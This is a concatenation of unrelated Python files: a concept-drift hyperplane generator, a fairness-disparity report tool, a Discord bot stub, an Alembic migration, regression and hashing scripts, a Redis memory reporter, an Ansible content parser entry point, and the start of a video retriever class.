    :math:`\sum^{d}_{i=1} w_i x_i = w_0 = \sum^{d}_{i=1} w_i`, where
    :math:`x_i` is the ith coordinate of :math:`x`. Examples for which
    :math:`\sum^{d}_{i=1} w_i x_i > w_0`, are labeled positive, and examples
    for which :math:`\sum^{d}_{i=1} w_i x_i \leq w_0`, are labeled negative.

    Hyperplanes are useful for simulating time-changing concepts, because we
    can change the orientation and position of the hyperplane in a smooth
    manner by changing the relative size of the weights. We introduce change
    to this dataset by adding drift to each weight feature :math:`w_i = w_i + d \sigma`,
    where :math:`\sigma` is the probability that the direction of change is
    reversed and :math:`d` is the change applied to every example.

    Parameters
    ----------
    random_state: int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    n_features: int (Default 10)
        The number of attributes to generate.
        Higher than 2.

    n_drift_features: int (Default: 2)
        The number of attributes with drift.
        Higher than 2.

    mag_change: float (Default: 0.0)
        Magnitude of the change for every example.
        From 0.0 to 1.0.

    noise_percentage: float (Default: 0.05)
        Percentage of noise to add to the data.
        From 0.0 to 1.0.

    sigma_percentage: int (Default 0.1)
        Percentage of probability that the direction of change is reversed.
        From 0.0 to 1.0.

    References
    ----------
    .. [1] G. Hulten, L. Spencer, and P. Domingos. Mining time-changing data streams.
       In KDD’01, pages 97–106, San Francisco, CA, 2001. ACM Press.

    """

    def __init__(self, random_state=None, n_features=10, n_drift_features=2, mag_change=0.0,
                 noise_percentage=0.05, sigma_percentage=0.1):
        super().__init__()

        self.random_state = random_state
        self.n_num_features = n_features
        self.n_features = self.n_num_features
        self.n_classes = 2
        self.n_drift_features = n_drift_features
        self.mag_change = mag_change
        self.sigma_percentage = sigma_percentage
        self.noise_percentage = noise_percentage
        self.n_targets = 1
        self._random_state = None  # This is the actual random_state object used internally
        self._next_class_should_be_zero = False
        self._weights = np.zeros(self.n_features)
        self._sigma = np.zeros(self.n_features)
        self.name = "Hyperplane Generator"

        self.target_names = ["target_0"]
        self.feature_names = ["att_num_" + str(i) for i in range(self.n_features)]
        self.target_values = [i for i in range(self.n_classes)]

        self._prepare_for_use()

    @property
    def n_drift_features(self):
        """ Retrieve the number of drift features.

        Returns
        -------
        int
            The total number of drift features.

        """
        return self._n_drift_features

    @n_drift_features.setter
    def n_drift_features(self, n_drift_features):
        """ Set the number of drift features

        """
        self._n_drift_features = n_drift_features

    @property
    def noise_percentage(self):
        """ Retrieve the value of the value of Noise percentage

        Returns
        -------
        float
            percentage of the noise
        """
        return self._noise_percentage

    @noise_percentage.setter
    def noise_percentage(self, noise_percentage):
        """ Set the value of the value of noise percentage.

        Parameters
        ----------
        noise_percentage: float (0.0..1.0)

        """
        if (0.0 <= noise_percentage) and (noise_percentage <= 1.0):
            self._noise_percentage = noise_percentage
        else:
            raise ValueError(
                "noise percentage should be in [0.0..1.0], {} was passed".format(noise_percentage))

    @property
    def mag_change(self):
        """ Retrieve the value of the value of magnitude of change.

        Returns
        -------
        float
            magnitude of change
        """
        return self._mag_change

    @mag_change.setter
    def mag_change(self, mag_change):
        """ Set the value of the value of magnitude of change

        Parameters
        ----------
        mag_change: float (0.0..1.0)

        """
        if (0.0 <= mag_change) and (mag_change <= 1.0):
            self._mag_change = mag_change
        else:
            raise ValueError(
                "noise percentage should be in [0.0..1.0], {} was passed".format(mag_change))

    @property
    def sigma_percentage(self):
        """ Retrieve the value of the value of sigma percentage

        Returns
        -------
        float
            percentage of the sigma
        """
        return self._sigma_percentage

    @sigma_percentage.setter
    def sigma_percentage(self, sigma_percentage):
        """ Set the value of the value of noise percentage.

        Parameters
        ----------
        sigma_percentage: float (0.0..1.0)

        """
        if (0.0 <= sigma_percentage) and (sigma_percentage <= 1.0):
            self._sigma_percentage = sigma_percentage
        else:
            raise ValueError(
                "sigma percentage should be in [0.0..1.0], {} was passed".format(sigma_percentage))

    def _prepare_for_use(self):
        self._random_state = check_random_state(self.random_state)
        self._next_class_should_be_zero = False
        for i in range(self.n_features):
            self._weights[i] = self._random_state.rand()
            self._sigma[i] = 1 if (i < self.n_drift_features) else 0

    def next_sample(self, batch_size=1):
        """ Returns next sample from the stream.

        The sample generation works as follows: The features are generated
        with the random generator, initialized with the seed passed by the
        user. Then the classification function decides, as a function of the
        sum and weight's sum, whether to instance belongs to class 0 or
        class 1. The next step is to add noise if requested by the user and
        than generate drift.

        Parameters
        ----------
        batch_size: int (optional, default=1)
            The number of samples to return.

        Returns
        -------
        tuple or tuple list
            Return a tuple with the features matrix and the labels matrix for
            the batch_size samples that were requested.

        """
        data = np.zeros([batch_size, self.n_features + 1])

        for j in range(batch_size):
            sum_weights = np.sum(self._weights)
            self.sample_idx += 1
            sum = 0
            for i in range(self.n_features):
                data[j, i] = self._random_state.rand()
                sum += self._weights[i] * data[j, i]

            group = 1 if sum >= sum_weights * 0.5 else 0

            if 0.01 + self._random_state.rand() <= self.noise_percentage:
                group = 1 if (group == 0) else 0

            data[j, -1] = group

            self._generate_drift()

        self.current_sample_x = data[:, :self.n_features]
        self.current_sample_y = data[:, self.n_features:].flatten().astype(int)

        return self.current_sample_x, self.current_sample_y

    def _generate_drift(self):
        """
        Generate drift in the stream.

        """
        for i in range(self.n_drift_features):
            self._weights[i] += float(float(self._sigma[i]) * float(self.mag_change))
            if (0.01 + self._random_state.rand()) <= self.sigma_percentage:
                self._sigma[i] *= -1


import os

name = 'Trump'
# Set the directory containing the pictures
dir_path = f'../image_train/{name}'

# Get a list of all the files in the directory
file_list = os.listdir(dir_path)

# Start to rename the picture from picture_0001.jpg
i = 1

# Loop through the files and rename them
for i, file_name in enumerate(file_list):
    # Construct the new file name
    new_file_name = f'{name}_000{i}.jpg'

    # Construct the full file paths for the old and new names
    old_path = os.path.join(dir_path, file_name)
    new_path = os.path.join(dir_path, new_file_name)

    # Rename the file
    os.rename(old_path, new_path)

    # Print a message indicating the file has been renamed
    print('Renamed {} to {}'.format(file_name, new_file_name))


import numpy as np
import pandas as pd
import fire
import sklearn.metrics as sklearn_metrics
import metrics
from utils import nice_metrics
import warnings
warnings.simplefilter('ignore')

def measure_disparity(
    dataset: str,
    save_file: str = 'df_fairness.csv'
):
    """Return prediction measures of disparity with respect to groups in dataset.

    Parameters
    ----------

    dataset: str
        A csv file storing a dataframe with one row per individual. Columns should include:

        1. `model prediction`: Model prediction (as a probability)
        2. `binary outcome`: Binary outcome (i.e. 0 or 1, where 1 indicates the favorable outcome for the individual being scored)
        3. `model label`: Model label
        4. `sample weights`: Sample weights
        5. additional columns are demographic data on protected and reference classes

    save_file: str, default: df_fairness.csv
        The name of the save file.

    Outputs
    -------

    Overall Performance
        Predictive biases across data.
    Subgroup Fairness Violations
        Deviations in performance for marginal and intersectional groups.
    Subgroups with largest violations
        Identifies groups experiencing the largest percent differences in performance according to each metric.
    save_file: str, default df_fairness.csv
        Writes a csv file containing the fairness results.
    """
    print('reading in',dataset)
    df = pd.read_csv(dataset)
    required_cols = [
        'model prediction','binary outcome','model label','sample weights'
    ]
    for rc in required_cols:
        assert rc.lower() in df.columns, f'dataset must include a column labeled "{rc}".'

    demographics = [c for c in df.columns if c not in required_cols]
    print('demographic columns:',demographics)
    assert len(demographics) > 0, 'no demographic columns found.'

    weights = df['sample weights']

    soft_predictive_measures = [
        sklearn_metrics.roc_auc_score,
        sklearn_metrics.average_precision_score,
        metrics.positivity
    ]
    hard_predictive_measures = [
        metrics.FPR,
        metrics.FNR,
        sklearn_metrics.accuracy_score
    ]
    social_measures = [
        metrics.subgroup_FNR_loss,
        metrics.subgroup_FPR_loss,
        metrics.subgroup_MSE_loss,
        metrics.subgroup_positivity_loss,
        # metrics.multicalibration_loss,
    ]
    y = df['binary outcome'].astype(int)
    y_pred = df['model label']
    y_pred_proba = df['model prediction']

    md_args = dict(
        index=False,
        # tablefmt = 'fancy_outline'
        tablefmt = 'rounded_outline',
        stralign="right"
    )

    print(40*'=')
    print('Overall Performance')
    print(40*'=')
    print('\tMeasures of predictive bias on the whole population.')
    summary = {}
    for pm in soft_predictive_measures:
        name = nice_metrics.get(pm.__name__,pm.__name__)
        summary[name] = pm(y, y_pred_proba)
    for pm in hard_predictive_measures:
        name = nice_metrics.get(pm.__name__,pm.__name__)
        summary[name] = pm(y, y_pred)
    df_summary = pd.DataFrame(summary, index=['value'])
    print(df_summary.round(3).to_markdown(**md_args))

    print(40*'=')
    print('Subgroup Fairness Violations')
    print(40*'=')
    print('\tMeasures the deviation in performance for marginal and intersectional groups.')
    print('\tNote that these deviation are weighted by group prevalence to produce stable estimates when sample sizes are small.')
    X_protected = df[demographics]
    frames = []
    for sm in social_measures:
        for grouping in ['marginal','intersectional']:
            # print(sm.__name__)
            result, max_loss, max_group = sm(
                y, y_pred_proba, X_protected,
                weights=weights,
                grouping=grouping
            )
            result['metric'] = nice_metrics.get(sm.__name__,sm.__name__)
            result['grouping'] = grouping
            frames.append(result)

    df_fairness = (
        pd.concat(frames)
        .pivot(columns=['metric'], values=['signed_value'])
    )
    df_fairness.columns = df_fairness.columns.get_level_values(1)
    # get worst group violations
    worst_indices = {}
    for col in df_fairness.columns:
        if col == 'Positivity Rate':
            worst_group = df_fairness[col].argmin()
        else:
            worst_group = df_fairness[col].argmax()
        worst_indices[col] = df_fairness.iloc[worst_group]._name

    df_tbl = df_fairness.round(3) #.astype(str)
    for col,idx in worst_indices.items():
        df_tbl.loc[idx,col] = '**'+df_tbl.loc[idx,col].astype(str)
    print(df_tbl.reset_index().to_markdown(**md_args))

    # text of worst groups
    df_raw = (
        pd.concat(frames)
        .pivot(columns=['metric'], values=['raw_value_pct'])
    )
    df_raw.columns = df_raw.columns.get_level_values(1)
    print('Subgroups with Largest Deviations')
    print(20*'-')
    for col,idx in worst_indices.items():
        print(col)
        print(10*'-')
        print('-','Subgroup:',
        ','.join([f'{k}={v}' for k,v in zip(df_fairness.index.names,idx) if v != '  any  '])
        )
        pct_diff = df_raw.loc[idx,col]
        higher = df_fairness.loc[idx,col] > 0
        print(f'- {col} is {pct_diff:.1f} % {"higher" if higher else "lower"} among this'
        ' group than the population.\n'
        )

    print('saving results to',save_file)
    df_fairness.reset_index().to_csv(save_file, index=False)

if __name__ == '__main__':
    fire.Fire(measure_disparity)


import discord
from discord.ext import commands

client = discord.Client()

@client.event
async def on_ready():
    print('Bot is ready and is logged on as {0.user}'.format(client))

@client.event
async def on_message(message):
    if message.author == client.user:
        return

    if message.content.startswith('!hello'):
        await message.channel.send('Hello!')

client.run('bot_token')


"""empty message

Revision ID: feede7174a42
Revises: fe394ab5c573
Create Date: 2016-11-13 20:37:00.045410

"""

# revision identifiers, used by Alembic.
revision = 'feede7174a42'
down_revision = 'fe394ab5c573'

from alembic import op
import sqlalchemy as sa

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_column('route', 'two_to_one_count')
    op.drop_column('route', 'one_to_two_count')
    ### end Alembic commands ###

def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('route', sa.Column('one_to_two_count', sa.INTEGER(), autoincrement=False, nullable=True))
    op.add_column('route', sa.Column('two_to_one_count', sa.INTEGER(), autoincrement=False, nullable=True))
    ### end Alembic commands ###


def extractCountingariesWordpressCom(item):
	'''
	Parser for 'countingaries.wordpress.com'
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return None

	tagmap = [
		('HCTCTM',                               'How Could This Cat Tease Me?',                        'translated'),
		('Scholar…I Don\'t Want Any…Meow',       'Scholar…I Don\'t Want Any…Meow',                      'translated'),
		('AUP',                                  'Appreciation of Unconventional Plants',               'translated'),
		('LCU',                                  'The Last Cat in the Universe',                        'translated'),
		('QTSGF',                                'Quick Transmigration: Snatching Golden Fingers',      'translated'),
		('PRC',       'PRC',                      'translated'),
		('Loiterous', 'Loiterous',                'oel'),
	]

	for tagname, name, tl_type in tagmap:
		if tagname in item['tags']:
			return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)

	return False


import argparse
import random

import matplotlib.pyplot as plot
import numpy as np

from data_structures import Matrix
from data_structures import Polynomial

def read_testcase(sample_in):
    test_cases = open(sample_in, 'r')
    data_points = list()
    for data_point in test_cases:
        data_array = tuple(data_point.strip().split(','))
        data_points.append(data_array)

    return data_points

def plot_figure(data_points, solution, method):
    data_x, data_y = list(), list()
    for data_point in data_points:
        data_x.append(float(data_point[0]))
        data_y.append(float(data_point[1]))

    plot.scatter(data_x, data_y, c='r')

    sol = list()
    for i, coef in enumerate(reversed(solution)):
        sol.append((i, coef[0]))

    sol = Polynomial(sol)
    sample_x = np.linspace(min(data_x), max(data_x), 50)
    sample_y = sol(sample_x)

    plot.plot(sample_x, sample_y)
    plot.savefig(f'{method}_plot.png')

    error = 0
    for sample_x, sample_y in zip(data_x, data_y):
        y = sol(sample_x)
        error += abs(y - sample_y)**2

    print (f'{method}:')
    print (f'Fitting line: {sol.show()}')
    print (f'Total error: {error}\n')

    return

def extract_paras(data_points, base):
    A = list()
    b = list()
    for x, y in data_points:
        row = list()
        for i in range(base-1, -1, -1):
            row.append(float(x)**i)
        A.append(row)
        b.append([float(y)])

    b = Matrix(b)
    A = Matrix(A)

    return A, b

def lse(data_points, base, lamb):
    # print (f'Processing LSE with data points: {data_points} and lambda {lamb}')
    A, b = extract_paras(data_points, base)
    identity = Matrix.make_identity(A.cols, lamb)
    A_reverse = A.reverse()

    A = A.reverse().mul(A).add(identity)
    A = Matrix.inverse(A)

    return A.mul(A_reverse).mul(b).data

def newtons_method(data_points, base, iteration):
    A, b = extract_paras(data_points, base)
    x = Matrix([[random.randint(1, 100)], [random.randint(1, 100)]])

    for i in range(iteration):
        gradient = A.reverse().mul(A).mul(x).mul_const(2).sub(A.reverse().mul(b).mul_const(2))
        hessian = A.reverse().mul(A).mul_const(2)
        x = x.sub(Matrix.inverse(hessian).mul(gradient))

    return x.data

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-p", "--path", type=str, help="Path of testcase")
    parser.add_argument("-n", "--base", type=int, help="polynomial bases of predicted regression")
    parser.add_argument("-l", "--lamb", type=int, help="lambda of LSE")
    args = parser.parse_args()

    return args

if __name__ == "__main__":
    args = get_args()
    data_points = read_testcase(args.path)

    ans = lse(data_points, args.base, args.lamb)
    plot_figure(data_points, ans, 'LSE')

    ans = newtons_method(data_points, args.base, 5)
    plot_figure(data_points, ans, "Newton's Method")


from tkinter import *
from tkinter import filedialog as fd
import hashlib

root = Tk()
root.title("Encrypt Files")
root.configure(background="gold")
root.geometry("250x190")

def apply_md5():
    print("MD5 function")
    text_file = fd.askopenfilename(title="Open Text File", filetypes=(("Text Files", "*.txt"),))
    print(text_file)
    file = open(text_file, "r")
    paragraph = file.read()
    hashed_data = hashlib.md5(paragraph.encode())
    hexd_data = hashed_data.hexdigest()
    md5_file = open("md5.txt", "w")
    md5_file.write(hexd_data)
    md5_file.close()

def apply_sha256():
    text_file = fd.askopenfilename(title="Open Text File", filetypes=(("Text Files", "*.txt"),))
    print(text_file)
    file = open(text_file, "r")
    paragraph = file.read()
    hashed_data = hashlib.sha256(paragraph.encode())
    hexd_data = hashed_data.hexdigest()
    sha256_file = open("sha256.txt", "w")
    sha256_file.write(hexd_data)
    sha256_file.close()

btn1 = Button(root, text="Apply MD5", bg="SteelBlue1", command=apply_md5)
btn1.place(relx=0.3, rely=0.5, anchor=CENTER)

btn2 = Button(root, text="Apply SHA256", bg="SteelBlue1", command=apply_sha256)
btn2.place(relx=0.7, rely=0.5, anchor=CENTER)

root.mainloop()


#!/usr/bin/env python
import os
import sys
from string import Template
from optparse import OptionParser
from libs.util.rdbtools import RdbParser, MemoryCallback, PrintAllKeys, StatsAggregator

def main():
    usage = """usage: %prog [options] /path/to/dump.rdb

Example 1 : %prog -k "user.*" -k "friends.*" -f memoryreport.html /var/redis/6379/dump.rdb
Example 2 : %prog /var/redis/6379/dump.rdb"""

    parser = OptionParser(usage=usage)

    parser.add_option("-f", "--file", dest="output",
                      help="Output file", metavar="FILE")
    parser.add_option("-k", "--key", dest="keys", action="append",
                      help="Keys that should be grouped together. Multiple regexes can be provided")

    (options, args) = parser.parse_args()

    if len(args) == 0:
        parser.error("Redis RDB file not specified")
    dump_file = args[0]

    if not options.output:
        output = "redis_memory_report.html"
    else:
        output = options.output

    stats = StatsAggregator()
    callback = MemoryCallback(stats, 64)
    parser = RdbParser(callback)
    parser.parse(dump_file)
    stats_as_json = stats.get_json()

    t = open(os.path.join(os.path.dirname(__file__),"report.html.template")).read()
    report_template = Template(t)
    html = report_template.substitute(REPORT_JSON = stats_as_json)
    print(html)

if __name__ == '__main__':
    main()


bp= float(input("What's the burger's price?"))

budget = bp <= 10
print("Burger is within budget: {}".format(budget))

vg=input("Has the restaurant a vegetarian option: ")

cond = vg == 'y'
wego = cond and budget

print("Restaurant meets criteria: {}".format(wego))

rate=int(input("How many stars has the restaurant?"))

st = rate >= 3
print("The restaurant rating over 3 stars: {}".format(st))

if rate >= 3:
    print("This restaurant is a good choice!")
else:
    print("Probably not a good idea")


'''
Esse programa é referente à questão 1
Escreve na tabela escola as informações:
código
nome
código do município
'''

import csv
import sqlite3

con = sqlite3.connect('dsbd.db') #conexão com o banco de dados do exercício
cur = con.cursor() #cursor para executar comandos

conteudo_escola = [] #variável para armazenar o conteúdo que será inserido no bd

with open('microdados_1k.csv', encoding = " ISO-8859-1") as dados_csv: #abrir o csv que contém infos
    leitor = csv.DictReader(dados_csv, delimiter=';') #variável para ler o csv
    for linha in leitor: #interação que escreve na variável conteudo_escola
        conteudo_escola.append((linha["CO_ENTIDADE"],
                                linha["NO_ENTIDADE"],
                                linha["CO_MUNICIPIO"]))

print(conteudo_escola[0:6])
cur.executemany("INSERT INTO escola (codigo, nome, cod_municipio) VALUES(?, ?, ?)", conteudo_escola)
con.commit() #commit para validar execute


"""A runpy entry point for ansible-content-parser.

This makes it possible to invoke CLI
via :command:`python -m ansible_content_parser`.
"""
import argparse
import contextlib
import copy  # pylint: disable=preferred-module
import errno
import json
import logging
import os
import shutil
import sys
import tarfile
import zipfile

from collections.abc import Generator
from importlib.metadata import PackageNotFoundError, version
from pathlib import Path
from typing import Any

import giturlparse  # pylint: disable=import-error

from ansiblelint.constants import RC
from git import Repo
from packaging.version import Version

from .lint import ansiblelint_main
from .lintable_dict import LintableDict
from .pipeline import run_pipeline
from .report import generate_report
from .safe_checks import check_tar_file_is_safe, check_zip_file_is_safe
from .version import __version__

_logger = logging.getLogger(__name__)

# https://stackoverflow.com/questions/6194499/pushd-through-os-system
@contextlib.contextmanager
def pushd(new_dir: str) -> Generator[None, None, None]:
    """Use this in a with block to run some operations from a given directory."""
    previous_dir = Path.cwd()
    os.chdir(new_dir)
    try:
        yield
    finally:
        os.chdir(previous_dir)

def execute_ansiblelint(
    argv: list[str],
    work_dir: str,
) -> tuple[dict[str, list[Any]], int]:
    """Execute ansible-lint."""
    with pushd(work_dir):
        # Clear root logger handlers as ansible-lint adds one without checking existing ones.
        logging.getLogger().handlers.clear()

        result, mark_as_success, return_code = ansiblelint_main(argv)
        return {
            "files": [LintableDict(lintable) for lintable in result.files],
        }, return_code

def parse_args(argv: list[str]) -> argparse.Namespace:
    """Parse arguments."""
    parser = argparse.ArgumentParser(
        description="Parse Ansible files in the given repository by running ansible-lint and generate"
        " a training dataset for Ansible Lightspeed.",
    )
    parser.add_argument(
        "--config-file",
        help=" Specify the configuration file to use for ansible-lint.  "
        "By default it will look for '.ansible-lint', '.config/ansible-lint.yml', or '.config/ansible-lint.yaml' "
        "in the source repository.",
    )
    parser.add_argument(
        "--profile",
        choices=["min", "basic", "moderate", "safety", "shared", "production"],
        help="Specify which rules profile to be used for ansible-lint",
    )
    parser.add_argument(
        "--fix",
        dest="write_list",  # This is how this option is stored in ansible_lint.
        # default="all", <-- Commented out because this does not work as expected.
        help="Specify how ansible-lint performs auto-fixes, including YAML reformatting. "
        "You can limit the effective rule transforms (the 'write_list') by passing a "
        "keywords 'all' (=default) or 'none' or a comma separated list of rule ids or "
        "rule tags.",
    )
    parser.add_argument(
        "-S",
        "--skip-ansible-lint",
        action="store_true",
        help="Skip the execution of ansible-lint.",
    )
    parser.add_argument(
        "--no-exclude",
        action="store_true",
        help="Do not let ansible-content-parser to generate training dataset by "
        "excluding files that caused lint errors. With this option specified, "
        "a single lint error terminates the execution without generating the "
        "training dataset.",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        help="Explain what is being done",
    )
    parser.add_argument(
        "--source-license",
        default="",
        help="Specify the license that will be included in the training dataset.",
    )
    parser.add_argument(
        "--source-description",
        default="",
        help="Specify the description of the source that will be included in the training dataset.",
    )
    parser.add_argument(
        "--repo-name",
        default="",
        help="Specify the repository name that will be included in the training dataset. "
        "If it is not specified, it is generated from the source name.",
    )
    parser.add_argument(
        "--repo-url",
        default="",
        help="Specify the repository url that will be included in the training dataset. "
        "If it is not specified, it is generated from the source name.",
    )
    parser.add_argument(
        "--version",
        action="version",
        version=get_version(),
    )
    parser.add_argument(
        "source",
        help="source, which can be an zip/tar archive, a git URL or a local directory",
    )
    parser.add_argument(
        "output",
        help="output directory",
    )
    args = parser.parse_args(argv)
    args.output = str(Path(args.output).absolute())

    if args.config_file:
        args.config_file = str(Path(args.config_file).absolute())

    return args

def set_repo_name_and_repo_url(args: argparse.Namespace, is_file: bool) -> None:
    """Set repository name and URL from source name when they are not set explicitly."""
    if not args.repo_name:
        repo_name = args.source
        if repo_name.endswith("/"):
            repo_name = repo_name[:-1]
        i = repo_name.rfind("/")
        if i != -1:
            repo_name = repo_name[i + 1 :]
        i = repo_name.find(".")
        if i != -1:
            repo_name = repo_name[:i]
        args.repo_name = repo_name

    if not args.repo_url:
        args.repo_url = (
            Path(args.source).absolute().as_uri() if is_file else args.source
        )

def prepare_source_and_output(args: argparse.Namespace) -> Path:
    """Prepare source (archive/url/directory) and output directory."""
    source, output = args.source, args.output

    supported_tar_file_extensions = [
        ".tar",
        ".tar.gz",
        ".tgz",
        ".tar.bz2",
        ".tbz2",
        ".tar.xz",
        ".txz",
    ]

    out_path = setup_output(output)
    repository_path = out_path / "repository"
    metadata_path = out_path / "metadata"

    # Check if the specified source is a supported archive.
    if source.endswith(".zip"):
        try:
            check_zip_file_is_safe(source)
            with zipfile.ZipFile(source) as zip_file:
                repository_path.mkdir()
                zip_file.extractall(repository_path)
                metadata_path.mkdir()
                set_repo_name_and_repo_url(args, True)
                return get_project_root(repository_path)
        except Exception:
            _logger.exception(
                "An exception thrown in extracting files from %s.",
                source,
            )
            sys.exit(1)
    else:
        for ext in supported_tar_file_extensions:
            if source.endswith(ext):
                try:
                    check_tar_file_is_safe(source)
                    with tarfile.open(source) as tar:  # NOSONAR
                        repository_path.mkdir()
                        tar.extractall(repository_path)
                        metadata_path.mkdir()
                        set_repo_name_and_repo_url(args, True)
                    return get_project_root(repository_path)
                except Exception:
                    _logger.exception(
                        "An exception thrown in extracting files from %s.",
                        source,
                    )
                    sys.exit(1)

    # Check if the specified source is a URL
    if giturlparse.validate(source):
        try:
            repository_path.mkdir()
            Repo.clone_from(source, repository_path)
            metadata_path.mkdir()
            set_repo_name_and_repo_url(args, False)
            return repository_path
        except Exception:
            _logger.exception(
                "An exception thrown in cloning git repository %s.",
                source,
            )
            sys.exit(1)

    # Assume the source is a local directory
    if Path(source).is_dir():
        # As shutil.copytree creates repository_path, we do not need to call repository_path,mkdir()
        shutil.copytree(source, repository_path)
        metadata_path.mkdir()
        set_repo_name_and_repo_url(args, True)
    else:
        _logger.error("%s is not a directory.", source)
        sys.exit(1)

    return repository_path

def setup_output(output: str) -> Path:
    """Set up output directory."""
    # Check if the specified output directory exists.
    out_path = Path(output)
    if not out_path.is_dir():
        out_path.mkdir(parents=True)

    # Make sure the directory is empty.
    files = os.listdir(output)
    if len(files) > 0:
        _logger.error("Output directory is not empty.")
        sys.exit(1)

    return out_path

def get_project_root(repository_path: Path) -> Path:
    """Get the project root directory from the given path."""
    files = os.listdir(repository_path)
    # If the given path contains a single directory at root assume it as the project root directory.
    if len(files) == 1:
        path = Path(repository_path / files[0])
        return path if path.is_dir() else repository_path
    return repository_path

def main() -> None:
    """Invoke the main entrypoint with current CLI args.

    This function also processes the runtime exceptions.
    """
    return_code = 0
    try:
        args = parse_args(sys.argv[1:])
        repository_path = prepare_source_and_output(args)

        out_path = Path(args.output)
        metadata_path = out_path / "metadata"

        sarif_file = str(metadata_path / "sarif.json")
        argv = ["ansible-lint", "--sarif-file", sarif_file]
        update_argv(argv, args)

        try:
            execute_lint_step(args, argv, metadata_path, repository_path, sarif_file)
        except Exception:
            _logger.exception("An exception was thrown while running ansible-lint.")
            sys.exit(1)

        return_code = run_pipeline(args, repository_path)

    except OSError as exc:
        # NOTE: Only "broken pipe" is acceptable to ignore
        if exc.errno != errno.EPIPE:  # pragma: no cover
            raise
    except KeyboardInterrupt:  # pragma: no cover
        _logger.info("Terminated by a keyboard interrupt.")
        sys.exit(RC.EXIT_CONTROL_C)
    except RuntimeError:  # pragma: no cover
        raise

    sys.exit(return_code)

def get_version() -> str:
    """Return version string that contains versions of important dependents."""
    msg = f"ansible-content-parser {__version__} using"
    for k in ["ansible-lint", "ansible-core", "sage-scan"]:
        try:
            v = Version(version(k))
            msg += f" {k}:{v}"
        except PackageNotFoundError:
            msg += f" {k}:(not found)"
    return msg

def execute_lint_step(
    args: argparse.Namespace,
    argv: list[str],
    metadata_path: Path,
    repository_path: Path,
    sarif_file: str,
) -> None:
    """Execute ansible-lint and create metadata files."""
    exclude_paths: list[str] = []

    lint_result = ""
    lint_result2 = ""
    sarif_file2 = ""
    return_code = RC.SUCCESS

    if args.skip_ansible_lint:
        sarif_file = ""
    else:
        serializable_result, return_code = execute_ansiblelint(
            argv,
            str(repository_path),
        )
        lint_result = str(metadata_path / "lint-result.json")
        with Path(lint_result).open(
            "w",
            encoding="utf-8",
        ) as f:
            f.write(json.dumps(serializable_result))

        if return_code == RC.SUCCESS or not args.no_exclude:
            exclude_paths = parse_sarif_json(exclude_paths, sarif_file, True)

            # If syntax-errors occurred on some files, kick off the second run excluding those files
            if len(exclude_paths) > 0:
                lint_result2 = str(metadata_path / "lint-result-2.json")
                sarif_file2 = str(metadata_path / "sarif-2.json")
                argv = ["ansible-lint", "--sarif-file", sarif_file2]
                argv.append("--exclude")
                argv.extend(exclude_paths)
                update_argv(argv, args)
                _logger.info(",".join(argv))
                serializable_result_2, return_code = execute_ansiblelint(
                    argv,
                    str(repository_path),
                )
                # create a shallow copy of exclude_paths because the following parse_sarif_json() call
                # will add more files to the list.
                serializable_result_2["excluded"] = copy.copy(exclude_paths)
                exclude_paths = parse_sarif_json(exclude_paths, sarif_file2, False)

                with Path(lint_result2).open(mode="w", encoding="utf-8") as f:
                    f.write(json.dumps(serializable_result_2))
            else:
                exclude_paths = parse_sarif_json(exclude_paths, sarif_file, False)

            if len(exclude_paths) > 0:
                # Rename excluded files to have __EXCLUDED__ extension so that they won't be processed by sage
                _rename_excluded_files(exclude_paths, repository_path)
                _logger.warning(
                    "Following files are excluded from training set generation due to ansible-lint rule "
                    "violations: %s",
                    ",".join(exclude_paths),
                )

    generate_report(
        lint_result,
        lint_result2,
        sarif_file,
        sarif_file2,
        args,
        exclude_paths,
    )

    if return_code != RC.SUCCESS and args.no_exclude:
        msg = "One or more lint errors were found by ansible-lint"
        raise RuntimeError(msg)

def _rename_excluded_files(exclude_paths: list[str], repository_path: Path) -> None:
    with pushd(str(repository_path)):
        for p in exclude_paths:
            path = Path(p)
            # Do not attempt to rename directories (e.g. role names)
            if path.is_file():
                Path(p).rename(p + ".__EXCLUDED__")

def parse_sarif_json(
    exclude_paths: list[str],
    sarif_file: str,
    syntax_check_errors_only: bool,
) -> list[str]:
    """Analyze SARIF.json to see if syntax-check errors occurred or not on the first run."""
    with Path(sarif_file).open("rb") as f:
        o = json.load(f)
        for run in o["runs"]:
            for result in run["results"]:
                if (
                    result["ruleId"].startswith("syntax-check")
                    or not syntax_check_errors_only
                    and ("level" not in result or result["level"] == "error")
                ):
                    exclude_paths.extend(
                        [
                            location["physicalLocation"]["artifactLocation"]["uri"]
                            for location in result["locations"]
                        ],
                    )
    return sorted(set(exclude_paths))

def update_argv(argv: list[str], args: argparse.Namespace) -> None:
    """Update arguments to ansible-lint based on arguments given to ansible-content-parser."""
    if getattr(args, "write_list", None) is None:
        argv.append("--fix=all")
    else:
        argv.append(f"--fix={args.write_list}")
    if args.verbose:
        argv.append("-v")
    if args.config_file:
        argv.append("--config-file")
        argv.append(args.config_file)
    if args.profile:
        argv.append("--profile")
        argv.append(args.profile)

if __name__ == "__main__":
    main()


import logging
from .approximation import Approximators
from .indexing import Indexers
from collections import defaultdict

try:
    from dvalib import indexer, retriever
    import numpy as np
except ImportError:
    np = None
    logging.warning("Could not import indexer / clustering assuming running in front-end mode")

from ..models import IndexEntries, QueryResult, Region, Retriever

class Retrievers(object):
    _visual_retriever = {}
    _retriever_object = {}
    _selector_to_dr = {}
    _index_entries = {}
    _index_count = defaultdict(int)

    @classmethod
    def get_retriever(cls, args):
        selector = args['retriever_selector']
        if str(selector) in cls._selector_to_dr:
            dr = cls._selector_to_dr[str(selector)]
        else:
            dr = Retriever.objects.get(**selector)
            cls._selector_to_dr[str(selector)] = dr
        retriever_pk = dr.pk
        if retriever_pk not in cls._visual_retriever:
            cls._retriever_object[retriever_pk] = dr
            if dr.algorithm == Retriever.EXACT and dr.approximator_shasum and dr.approximator_shasum.strip():
                approximator, da = Approximators.get_trained_model(
                    {"trainedmodel_selector": {"shasum": dr.approximator_shasum}})
                da.ensure()
                approximator.load()
